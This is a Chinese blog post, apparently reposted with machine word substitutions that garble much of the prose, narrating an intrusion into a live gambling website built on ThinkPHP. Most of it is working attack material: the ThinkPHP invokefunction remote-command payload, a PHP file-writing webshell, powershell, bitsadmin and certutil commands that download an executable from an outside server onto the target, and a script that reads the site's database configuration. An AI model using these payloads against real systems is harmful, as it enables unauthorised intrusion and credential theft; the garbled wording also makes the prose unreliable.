首页 » PHP教程 » 英文菠菜php源码技巧_对某造孽菠菜网站的一次渗透测试

英文菠菜php源码技巧_对某造孽菠菜网站的一次渗透测试

访客 2024-12-09 0

扫一扫用手机浏览

文章目录 [+]

无意间创造一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?

然后就顺手测试了一下,但过程并不太顺利,不过末了还是拿下了,以是特发此文分享下思路。

英文菠菜php源码技巧_对某造孽菠菜网站的一次渗透测试

0x00 一键getshell?

英文菠菜php源码技巧_对某造孽菠菜网站的一次渗透测试
(图片来自网络侵删)

大略看了下,该当有不少人玩吧?

恰好前几天写了个测试工具,先取出来测试一发。

工具显示存在漏洞

一键getshell,看起来很顺利的样子,哈哈。

但是...小明甩了下头发,创造事情并不大略。

菜刀连接的时候,返回500缺点。

我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?

作为菜逼的我不禁陷入了沉思...

0x01 开始剖析

由于这个工具我自己写的,从上面getshell的图片中创造调用的是第三个exp,那么我们来剖析下看看。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限

但是可以实行部分命令,比如echo dir等等。

0x02 考试测验打破拿shell

既然可以实行echo 那么我们可以来考试测验写入个小马试试,如果成功的话,再利用小立时传大马,说干就干,苦活来了,我们得一行一行写入进去。

把稳:代码中的<>符号,要用^^转义。
比如<?php转义为^<^?php

<?php header(\"大众content-Type: text/html; charset=gb2312\公众); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method=\公众POST\"大众> 保存文件名: <input type=\公众text\"大众 name=\"大众file\"大众 size=\公众60\"大众 value=\"大众<? echo str_replace('\\','/',__FILE__) ?>\"大众> <br><br> <textarea name=\"大众text\"大众 COLS=\公众70\"大众 ROWS=\"大众18\"大众 ></textarea> <br><br> <input type=\"大众submit\"大众 name=\"大众submit\"大众 value=\公众保存\"大众> <form> <?php if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失落败!'; @fclose($fp); } ?>

逐行写入完成后,访问的时候创造并不能正常运行,这里忘却截图了。

接下来考试测验用以下方法下载文件到做事器上也失落败了。

powershell下载把稳:内核5.2以下版本可能无效powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\ssss2.exe')bitsadmin下载bitsadmin /transfer n http://baidu.com/files/PSTools.zip C:\PSTools.zip把稳:不支持https、ftp协议,利用kali的simplehttpserver作做事器会报错

正当我打算放弃的时候,我想起来还有个下载的命令没用。

那便是certutil.exe

说干就干,把大马放到我们做事器上,开启HFS。

然后实行以下命令。

certutil.exe -split -ur\"大众lc\公众ache -f http://ww.baidu.com/svchost.exe svchost.exe

成功进入大马,不过别高兴太早。

小明再次甩了下头发,创造事情更不大略....

大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空缺。

既然这样,那么我们进数据库看看吧。

我们都知道tp的数据库配置文件在以下这个位置

/application/database.php

大马是无法打开了,那么我们可以用tp的命令实行漏洞考试测验用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\www\application\database.php

考试测验type读取失落败,然后又想到copy命令。

把database.php拷贝到web根目录下,改名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\www\application\database.php c:\www\public\1.txt

拷贝完成往后访问url/1.txt,创造里面是空的。

0x03 成功打破

经历了一系列的失落败后,我镇静下来想了下,我们还可以用file_path去读取源码试试。

<?php$file_path = 'c:/www/application/database.php';if(file_exists($file_path)){$fp = fopen($file_path,'r');$str = fread($fp,filesize($file_path));echo $str = str_replace('\r\n','<br />',$str);}?>

用大立时传这个文件到根目录下,然后访问,成功拿到数据库配置。

然后填写好配置信息,进入数据库。

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,末了喝了两口汤,关机,睡觉......

标签:

相关文章